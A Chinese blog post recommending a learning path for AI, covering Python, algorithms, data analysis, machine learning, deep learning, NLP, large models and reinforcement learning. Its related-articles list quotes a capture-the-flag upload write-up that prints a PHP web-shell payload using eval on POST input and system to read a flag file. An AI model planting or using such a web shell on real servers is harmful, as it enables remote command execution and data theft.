机器学习11-学习路径推荐
机器学习11-学习路径推荐
本文希望摒除AI学习商业宣传要素,推荐一条极简的AI学习路线!推荐内容均为在线免费内容,如果有条件可以咨询专业的培训机构!
文章目录
- 机器学习11-学习路径推荐
- @[toc]
- 1-AI培训路线
- 第一阶段 Python-人工智能语言基础
- 第二阶段 数据结构与算法-人工智能的灵魂
- 第三阶段 数据分析-这是数据驱动的时代
- 第四阶段 机器学习-智能时代的核心引擎
- 第五阶段 深度学习-让Al像人类一样思考
- 第六阶段 NLP自然语言处理-人工智能皇冠上的明珠
- 第七阶段 大模型&多模态-国产大模型落地标配
- 第八阶段 强化学习-Al决策优化的智慧钥匙
- 2-AI知识类别
- 一、基础知识层面
- 二、算法与模型层面
- 三、应用开发层面
- 四、工具与框架层面
- 五、行业应用层面
- 六、前沿技术层面
- 3-AI学习思路
- 一、基础入门
- (一)Python语言基础
- (二)数学基础
- 二、理论学习
- (一)机器学习
- (二)深度学习
- (三)深度学习研究方向
- 三、复杂应用
- (一)应用领域
- (二)工具与平台
- 4-AI学习路线
- 路线1:时间足够充裕
- 路线2:1-2月学习时间
- 路线3:1月学习时间
- 路线4:5-15天学习时间
- 路线5:3-5天学习时间
- 5-深度学习补充
- 1. 基础概念
- 2. 网络架构
- 3. 训练技巧
- 4. 模型评估
- 5. 框架与工具
- 6. 应用领域
- 7. 研究方向与前沿技术
- 8. 实践与工程化
文章目录
- 机器学习11-学习路径推荐
- @[toc]
- 1-AI培训路线
- 第一阶段 Python-人工智能语言基础
- 第二阶段 数据结构与算法-人工智能的灵魂
- 第三阶段 数据分析-这是数据驱动的时代
- 第四阶段 机器学习-智能时代的核心引擎
- 第五阶段 深度学习-让Al像人类一样思考
- 第六阶段 NLP自然语言处理-人工智能皇冠上的明珠
- 第七阶段 大模型&多模态-国产大模型落地标配
- 第八阶段 强化学习-Al决策优化的智慧钥匙
- 2-AI知识类别
- 一、基础知识层面
- 二、算法与模型层面
- 三、应用开发层面
- 四、工具与框架层面
- 五、行业应用层面
- 六、前沿技术层面
- 3-AI学习思路
- 一、基础入门
- (一)Python语言基础
- (二)数学基础
- 二、理论学习
- (一)机器学习
- (二)深度学习
- (三)深度学习研究方向
- 三、复杂应用
- (一)应用领域
- (二)工具与平台
- 4-AI学习路线
- 路线1:时间足够充裕
- 路线2:1-2月学习时间
- 路线3:1月学习时间
- 路线4:5-15天学习时间
- 路线5:3-5天学习时间
- 5-深度学习补充
- 1. 基础概念
- 2. 网络架构
- 3. 训练技巧
- 4. 模型评估
- 5. 框架与工具
- 6. 应用领域
- 7. 研究方向与前沿技术
- 8. 实践与工程化
1-AI培训路线
乍一看,都是需要自己去恶补的内容,貌似一个在职人员每一项都需要2个月的时间去学习!有点脑瓜疼!但是这些内容是否真正的符合我当期的学习或者工作需求?
以下针对培训路线中的具体内容进行逐一分析。
第一阶段 Python-人工智能语言基础
- 1、掌握Python 语言基础,包括语法、数据类型、运算符、输入输出西数等核心内容。
- 2、熟练运用PyCharm 开发工具,掌握其安装、设置及调试相关操作。
- 3、精通Python 中分支、循环结构以及各类数据结构(字符串、列表、字典、元组等)的操作与运用。
- 4、深入理解面向对象编程,涵盖类和对象、封装、继承、多态及设计模式等方面知识。
- 5、具备Python 文件操作、异常处理以及模块制作、安装与使用的能力。
- 6、了解Python 的高级特性,像深拷贝、浅拷贝、生成器、送代器、闭包、装饰器等内容。
- 7、 掌握Python 进程与线程相关概念及操作,包括并发、通信、互斥锁等要点。
- 8、熟悉Python 网络编程以及正则表达式相关知识,用于对应场景的实践应用。
第二阶段 数据结构与算法-人工智能的灵魂
- 1、掌握链表、栈、队列的基本操作及应用。
- 2、熟练运用快速排序、二分查找等算法。
- 3、解决数组、字符串、查找等各类问题。
- 4、掌握递归、动态规划、贪心、回溯等算法思想及应用。
第三阶段 数据分析-这是数据驱动的时代
- 1、熟练安装配置 Linux 环境并掌握常用命令。
- 2、精通 MySQL 安装使用及 SQL 操作。
- 3、熟悉 Numpy 的属性、函数及运算。
- 4、掌握 Pandas 的数据处理方法。
- 5、会用多种工具进行数据可视化。
- 6、具备在 Linux 环境下进行数据分析和可视化的综合能力。
第四阶段 机器学习-智能时代的核心引擎
- 1、熟悉线性代数、概率、高数等数学基础。
- 2、熟悉 KNN 算法的思想、流程及不同距离计算方法,能进行特征预处理和案例实现。
- 3、理解线性回归的概念、分类、损失函数等,掌握梯度下降算法等方法及模型评估。
- 4、掌握逻辑回归的数学基础、原理及分类评估指标,能进行案例实践。
第五阶段 深度学习-让Al像人类一样思考
- 1、理解深度学习的概念、应用场景及优缺点。
- 2、掌握 Pytorch 的安装及张量的各种操作,包括创建、类型转换、数值计算等。
- 3、熟悉神经网络的结构组成,如输入层、输出层、隐藏层等,掌握激活函数、损失函数等相关知识。
- 4、了解卷积神经网络 CNN,掌握图像基础、卷积层和池化层等知识及案例应用。
- 5、掌握循环网络 RNN 的原理及词嵌入层、循环网络层的 API 和文本生成案例。
- 6、具备深度学习项目实战能力,如电商推荐和图片搜索等项目。
第六阶段 NLP自然语言处理-人工智能皇冠上的明珠
- 1、理解 NLP 的概念、发展历史和应用场景。
- 2、掌握文本预处理的方法,包括文本张量表示、特征处理和数据增强等。
- 3、熟悉 RNN、 LSTM、 GRU 模型的概念、作用和结构特点,以及对应的 APl。
- 4、了解注意力机制的概念和实现步骤,掌握 Seq2Seq 结构及添加注意力机制的方法。
- 5、理解 Transformer 架构,包括各层结构和编码器 一解码器结构实现。
- 6、掌握 fastText 工具的作用、安装和文本分类方法,以及词向量迁移技巧。
第七阶段 大模型&多模态-国产大模型落地标配
- 1、理解 LLaMA 和 Qwen 系列模型的核心原理。
- 2、掌握大模型微调的方法,包括核心要素、数据收集与评估、各种技术及参数设置等。
- 3、熟悉 NLP 常规任务方案设计,能搭建大模型训练环境并理解微调代码。
- 4、了解多模态技术,掌握 Vit、 CLIP、ALBEF 等多模态模型的核心原理。
- 5、能够运用大模型内容生成技术解决实际问题。
第八阶段 强化学习-Al决策优化的智慧钥匙
- 1、掌握强化学习基础方法及神经网络
- 2、熟悉先进强化学习算法并具备解决实际
- 3、强化学习基础理论-老虎机问题、马尔可夫决策过程、贝尔曼方程、动态规划法、蒙特卡罗方法、TD方法
- 4、深度强化学习-神经网络和Q学习、DQN、策略梯度法
- 5、基于强化学习微调大模型-A2C算法、PPO(近端策略优化)、RLHF(基于人类反馈的强化学习)
2-AI知识类别
一、基础知识层面
介绍人工智能的定义、技术领域、应用领域,以及行业发展趋势。数学基础包括线性代数、概率论、微积分等,为后续算法理解提供数学工具。编程语言Python 是主流语言,此外还有 Java、C++ 等,重点学习其在数据处理和模型开发中的应用。
二、算法与模型层面
描述机器学习算法监督学习(如回归分析、决策树、SVM)、无监督学习(如聚类、PCA)、强化学习(如 Q-learning)。深度学习模型神经网络基础(感知机、前馈神经网络)、卷积神经网络(CNN)、循环神经网络(RNN)、生成对抗网络(GAN)。模型评估与调优交叉验证、超参数调优、过拟合与欠拟合的解决方法。
三、应用开发层面
描述自然语言处理(NLP)文本预处理、文本分类与聚类、深度学习在 NLP 中的应用(如 Word2Vec、BERT、GPT)、命名实体识别(NER)、机器翻译。计算机视觉(CV)图像处理基础、卷积神经网络在图像分类、目标检测、图像分割中的应用、图像生成与增强技术。语音识别与处理语音信号处理、声学模型、语言模型、文本转语音(TTS)。
四、工具与框架层面
描述深度学习框架TensorFlow、Keras、PyTorch、MindSpore 等框架的使用与优化。开发工具与平台Jupyter Notebook、Git、Docker 等工具的使用,以及云平台(如 AWS、Azure)的 AI 服务。模型部署工具模型部署到云端、本地服务器或移动设备,性能优化方法。
五、行业应用层面
描述行业解决方案大模型在不同行业的应用(如医疗、金融、交通),业务场景分析与解决方案设计。项目实战图像分类与检测、语音识别与生成、自然语言处理、强化学习等项目的实战演练。AI与大数据集成数据挖掘、数据分析能力,以及如何将大数据应用于 AI 模型训练。
六、前沿技术层面
描述生成式 AI生成式 AI 的原理与应用,如大语言模型(LLM)、检索增强生成(RAG)。多领域交叉技术AI 与物联网、区块链、量子计算等技术的融合。安全与伦理AI 技术中的数据安全、隐私保护、伦理问题。
3-AI学习思路
基于我的个人学习经验,针对在职场中非算法开发工程师的一些AI学习思路推荐。
一、基础入门
(一)Python语言基础
Python语言培训:学习Python的基本语法、数据类型、控制结构、函数等,掌握Python编程的基本能力。
Python环境搭建:安装Python解释器、配置环境变量,熟悉常用的开发工具,如PyCharm、Jupyter Notebook、Anaconda等。
(二)数学基础
- 人工智能数学基础:学习线性代数、概率论与数理统计、微积分等基础知识,为后续的机器学习和深度学习打下坚实的数学基础。
- 不推荐进行复杂理论的证明;举例说明:你需要知道什么是【矩阵求解】,但是不推荐你去徒手推理数学公式
- 需要把握学习的核心逻辑即可,要进行知识思辨,举例说明:行列式求解和矩阵乘积求解有什么异同;特征值求解为什么可以用一个特征值(常数)替代一个矩阵
二、理论学习
(一)机器学习
-
机器学习基础:了解机器学习的基本概念、算法分类(监督学习、无监督学习、强化学习等),学习常见的机器学习算法,如线性回归、逻辑回归、决策树、支持向量机等。
-
模型评估与优化:掌握模型评估指标(准确率、召回率、F1值等),学习模型优化方法,如交叉验证、正则化等。
(二)深度学习
深度学习基础:学习神经网络的基本原理,包括感知机、多层神经网络、反向传播算法等。
深度学习三大神经网络:
-
卷积神经网络(CNN):学习CNN的结构和原理,了解其在图像处理中的应用。
-
循环神经网络(RNN):学习RNN的结构和原理,了解其在序列数据处理中的应用。
-
对抗神经网络(GAN):学习GAN的生成器和判别器的工作原理,了解其在生成对抗任务中的应用。
-
Transformer架构:学习Transformer的自注意力机制,了解其在自然语言处理中的应用。
(三)深度学习研究方向
- 机器视觉:学习OpenCV等图像处理库,掌握图像分类、目标检测、图像分割等任务的实现方法。
- 自然语言处理(NLP):学习NLP的基础知识,如文本预处理、词嵌入等,了解语言模型、文本分类、情感分析、机器翻译等任务的实现方法。
- 强化学习(RL):学习强化学习的基本概念和算法,如Q-learning、策略梯度等,了解其在机器人控制、游戏等领域的应用。
三、复杂应用
(一)应用领域
-
机器人:学习机器人控制、路径规划、视觉识别等技术,了解机器人在工业、服务等领域的应用。
-
数字人:学习数字人的建模、动画制作、语音合成等技术,了解数字人在虚拟主播、客服等领域的应用。
-
文生图/图生文/图生视频:学习生成式AI模型,如StableDiffusion、ComfyUI等,掌握文本生成图像、图像生成文本、图像生成视频等任务的实现方法。
-
物体检测:学习目标检测算法,如YOLO、Faster R-CNN等,掌握物体检测在安防、自动驾驶等领域的应用。
-
Agent:学习智能代理(Agent)的设计和实现,如Kimi等,了解其在智能客服、智能助手等领域的应用。
(二)工具与平台
- 数据集:熟悉常用的数据集,如Kaggle数据集、阿里天池AI赛数据集等,学习数据预处理和数据增强方法。
- 训练平台:学习使用常用的训练平台,如百度的飞桨、魔搭社区等,掌握模型训练和部署的基本流程。
- 模型训练框架:学习使用PyTorch、TensorFlow等模型训练框架,掌握模型构建、训练和优化的方法。
- 魔术部署框架:学习使用模型部署框架,如HuggingFace等,掌握模型部署和推理的方法。
- AI编码助手:学习使用AI编码助手,如Cusor、WindSurf等,提高编程效率和代码质量。
4-AI学习路线
路线1:时间足够充裕
路线2:1-2月学习时间
路线3:1月学习时间
路线4:5-15天学习时间
路线5:3-5天学习时间
5-深度学习补充
深度学习是机器学习的一个重要分支,它通过构建多层神经网络来模拟人类大脑的信息处理方式,从而实现对复杂数据的自动特征学习和模式识别。以下是深度学习的关键知识要点,按主题分类总结:
1. 基础概念
- 神经元(Neuron):神经网络的基本单元,模拟生物神经元的激活过程。
- 激活函数(Activation Function):引入非线性因素,使神经网络能够学习复杂的函数映射。常见的激活函数包括ReLU、Sigmoid、Tanh等。
- 损失函数(Loss Function):衡量模型预测值与真实值之间的差异,常用的损失函数有均方误差(MSE)、交叉熵损失(Cross-Entropy)等。
- 优化器(Optimizer):用于更新网络参数以最小化损失函数,常见的优化器包括SGD(随机梯度下降)、Adam、RMSprop等。
- 反向传播(Backpropagation):通过计算损失函数对网络参数的梯度,从输出层向输入层反向传播,更新网络权重。
2. 网络架构
- 多层感知机(MLP):最简单的神经网络,由输入层、隐藏层和输出层组成,主要用于简单的分类和回归任务。
- 卷积神经网络(CNN):主要用于图像处理任务,通过卷积层、池化层和全连接层提取图像的局部特征。
- 循环神经网络(RNN):用于处理序列数据,如时间序列和自然语言处理。LSTM(长短期记忆网络)和GRU(门控循环单元)是其改进版本,用于解决梯度消失问题。
- Transformer架构:基于自注意力机制(Self-Attention)的架构,广泛应用于自然语言处理(如BERT、GPT)和计算机视觉(如Vision Transformer)。
- 生成对抗网络(GAN):由生成器(Generator)和判别器(Discriminator)组成,用于生成逼真的数据样本,如图像、音频等。
3. 训练技巧
- 数据预处理:包括归一化、标准化、数据增强等,以提高模型的泛化能力和训练效率。
- 正则化(Regularization):用于防止过拟合,常见的方法有L1/L2正则化、Dropout、Batch Normalization等。
- 学习率调整:学习率是影响训练效果的重要超参数,常见的调整策略包括学习率衰减、学习率调度器等。
- 早停(Early Stopping):在训练过程中,如果验证集的损失不再下降,则提前停止训练,以防止过拟合。
- 迁移学习(Transfer Learning):利用预训练模型在新任务上进行微调,可以显著减少训练时间和数据需求。
4. 模型评估
- 评估指标:
- 分类任务:准确率(Accuracy)、精确率(Precision)、召回率(Recall)、F1分数等。
- 回归任务:均方误差(MSE)、平均绝对误差(MAE)等。
- 生成任务:Inception Score(IS)、Frechet Inception Distance(FID)等。
- 交叉验证(Cross-Validation):通过将数据划分为多个子集,进行多次训练和验证,以获得更稳定的评估结果。
5. 框架与工具
- 主流深度学习框架:
- TensorFlow:由Google开发,支持灵活的模型构建和大规模分布式训练。
- PyTorch:由Facebook开发,以动态计算图和易用性著称,广泛用于研究和开发。
- Keras:基于TensorFlow的高级API,适合快速原型开发。
- 可视化工具:
- TensorBoard:用于可视化训练过程、模型结构和性能指标。
- Matplotlib、Seaborn:用于绘制数据分布和训练曲线。
- 硬件加速:使用GPU(如NVIDIA系列)或TPU(如Google TPU)加速模型训练和推理。
6. 应用领域
- 计算机视觉(CV):
- 图像分类、目标检测、语义分割、图像生成等。
- 自然语言处理(NLP):
- 机器翻译、情感分析、问答系统、文本生成等。
- 语音识别与合成:
- 语音识别(ASR)、语音合成(TTS)、语音情感分析等。
- 强化学习(RL):
- 游戏AI、机器人控制、资源管理等。
- 生物医学与健康:
- 医学图像分析、疾病诊断、药物发现等。
7. 研究方向与前沿技术
- Transformer架构的改进:如GPT系列、BERT等在语言模型和多模态任务中的应用。
- 自监督学习(Self-Supervised Learning):通过无监督的方式学习数据的内在结构,减少对标注数据的依赖。
- 联邦学习(Federated Learning):在保护数据隐私的前提下,联合多个设备或机构的数据进行模型训练。
- 可解释性AI(XAI):研究如何解释深度学习模型的决策过程,提高模型的透明度和可信度。
- 量子计算与深度学习的结合:探索利用量子计算加速深度学习模型的训练和推理。
8. 实践与工程化
- 模型部署:将训练好的模型部署到生产环境中,常见的部署方式包括云服务(如AWS、Azure)、边缘设备(如手机、IoT设备)。
- 模型压缩与优化:通过剪枝(Pruning)、量化(Quantization)和蒸馏(Knowledge Distillation)等技术,减小模型体积,提高推理速度。
- 持续学习(Continual Learning):让模型能够不断学习新任务,同时保留已学习的知识,避免灾难性遗忘。
相关文章:

机器学习11-学习路径推荐
机器学习11-学习路径推荐 本文希望摒除AI学习商业宣传要素,推荐一条极简的AI学习路线!推荐内容均为在线免费内容,如果有条件可以咨询专业的培训机构! 文章目录 机器学习11-学习路径推荐[toc] 1-AI培训路线第一阶段 Python-人工智能…...

[ACTF2020 新生赛]Upload1
题目 以为是前端验证,试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…...

【PyTorch】0.初识:从吃货角度理解张量
0.初识张量 PyTorch 是一个 Python 深度学习框架,它将数据封装成张量(Tensor)来进行运算。PyTorch 中的张量就是元素为同一种数据类型的多维矩阵。在 PyTorch 中,张量以 "类" 的形式封装起来,对张量的一些运…...

医学图像分析工具09.1:Brainstorm安装教程
1. 安装前准备 **官方安装包和数据:**https://neuroimage.usc.edu/bst/download.php **官方安装教程:**https://neuroimage.usc.edu/brainstorm/Installation Matlab 版本要求: 有 Matlab: R2009b (7.9) 或更高版本没有 Matlab&…...

springboot基于Spring Boot的智慧养老服务系统的设计与实现
系统介绍: 智慧养老服务系统是一种运用现代科技手段,整合各类养老资源,为老年人提供全方位、个性化服务的综合性平台。该系统通过智能化设备、大数据分析、云计算等技术,实现对老年人健康状况、生活需求的实时监控与精准匹配&…...
Linux内核中IPoIB驱动模块的初始化与实现
InfiniBand(IB)是一种高性能的网络互连技术,广泛应用于高性能计算(HPC)和数据中心。为了在InfiniBand网络上运行标准的IP协议栈,Linux内核提供了IP over InfiniBand(IPoIB)驱动模块。IPoIB允许在InfiniBand网络上传输IPv4和IPv6数据包,从而使得现有的IP应用程序能够无…...

WPS计算机二级•幻灯片的基础操作
听说这是目录哦 PPT的正确制作步骤🛣️认识PPT界面布局🏜️PPT基础操作 快捷键🏞️制作PPT时 常用的快捷技巧🏙️快速替换PPT的 文本字体🌃快速替换PPT 指定文本内容🌅能量站😚 PPT的正确制作步…...

.NET9增强OpenAPI规范,不再内置swagger
ASP.NETCore in .NET 9.0 OpenAPI官方文档ASP.NET Core API 应用中的 OpenAPI 支持概述 | Microsoft Learnhttps://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/openapi/overview?viewaspnetcore-9.0https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/ope…...

基于微信小程序的民宿预订管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...

网络(三) 协议
目录 1. IP协议; 2. 以太网协议; 3. DNS协议, ICMP协议, NAT技术. 1. IP协议: 1.1 介绍: 网际互连协议, 网络层是进行数据真正传输的一层, 进行数据从一个主机传输到另一个主机. 网络层可以将数据主机进行传送, 那么传输层保证数据可靠性, 一起就是TCP/IP协议. 路径选择: 确…...

【深度解析Java 20天速成】04_IDEA的安装与使用
【Why IDEA ?】 【注】JetBrains官方说明: 尽管我们采取了多种措施确保受访者的代表性,但结果可能会略微偏向 JetBrains 产品的用户,因为这些用户更有可能参加调查。 此外,2022年,某美国软件开发商在对近千名专业的Ja…...
gitlab处理空文件夹的提交或空文件夹提交失败
问题描述 厂家发给了我一个压缩包文件,压缩包解压之后本地编译没问题;推送到gitlab之后,再编译就报错了; 问题原因 经过分析之后发现,压缩包解压之后存在很多空文件夹;但是gitlab推送的时候,…...

计算机网络之链路层
本文章目录结构出自于《王道计算机考研 计算机网络_哔哩哔哩_bilibili》 02 数据链路层 在网上看到其他人做了详细的笔记,就不再多余写了,直接参考着学习吧。 1 详解数据链路层-数据链路层的功能【王道计算机网络笔记】_wx63088f6683f8f的技术博客_51C…...
Arduino大师练成手册 -- 读取红外接收数据
硬件连接 连接引脚: 将红外接收器的 VCC 引脚连接到 Arduino 的 5V 引脚。 将红外接收器的 GND 引脚连接到 Arduino 的 GND 引脚。 将红外接收器的 OUT 引脚连接到 Arduino 的数字引脚(例如 D11)。 安装必要的库 在 Arduino IDE 中&#…...

【Efficient AIGC】SiTo: Similarity-based Token Pruning (AAAI-2025)
文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Pruning背景介绍方法结果消融 文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Prun…...

数据标注开源框架 Label Studio
数据标注开源框架 Label Studio Label Studio 是一个开源的、灵活的数据标注平台,旨在帮助开发者和数据科学家轻松创建高质量的训练数据集。它支持多种类型的数据(如文本、图像、音频、视频等)以及复杂的标注任务(如分类、命名实体…...

MyBatis最佳实践:MyBatis 框架的缓存
缓存的概念: 在内存中临时存储数据,速度快,可以减少数据库的访问次数经常需要查询,不经常修改的数据,不是特别重要的数据都适合存储到缓存中 缓存的级别: 一级缓存(默认开启):SqlSession 级别 …...

基于LangGraph、Groq和Tavily打造可以调用外部搜索引擎工具的对话机器人(核心代码 万字详解)
一、python环境 & 相关库版本信息 代码运行在 conda 创建的python环境下,python和相关库的版本信息如下: $ python --version Python 3.12.3$ pip list | grep langchain langchain 0.3.15 langchain-community 0.3.15 lang…...

衡量算法性能的量级标准:算法复杂度
今天开始数据结构的学习!作为一大重点,拿出态度很重要,想要真实掌握,博客笔记自然少不了!重点全部上色!避免疏忽 下面我们从0基础开始学习今天的第一节!不用担心看不懂,拒绝枯燥的理…...

PHP校园助手系统小程序
🔑 校园助手系统 —— 智慧校园生活 📱一款基于ThinkPHPUniapp框架深度定制的校园助手系统,犹如一把智慧之钥,专为校园团队精心打造,解锁智慧校园生活的无限精彩。它独家适配微信小程序,无需繁琐的下载与安…...

前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

Psychopy音频的使用
Psychopy音频的使用 本文主要解决以下问题: 指定音频引擎与设备;播放音频文件 本文所使用的环境: Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
省略号和可变参数模板
本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...
MySQL 部分重点知识篇
一、数据库对象 1. 主键 定义 :主键是用于唯一标识表中每一行记录的字段或字段组合。它具有唯一性和非空性特点。 作用 :确保数据的完整性,便于数据的查询和管理。 示例 :在学生信息表中,学号可以作为主键ÿ…...

关于easyexcel动态下拉选问题处理
前些日子突然碰到一个问题,说是客户的导入文件模版想支持部分导入内容的下拉选,于是我就找了easyexcel官网寻找解决方案,并没有找到合适的方案,没办法只能自己动手并分享出来,针对Java生成Excel下拉菜单时因选项过多导…...
【SpringBoot自动化部署】
SpringBoot自动化部署方法 使用Jenkins进行持续集成与部署 Jenkins是最常用的自动化部署工具之一,能够实现代码拉取、构建、测试和部署的全流程自动化。 配置Jenkins任务时,需要添加Git仓库地址和凭证,设置构建触发器(如GitHub…...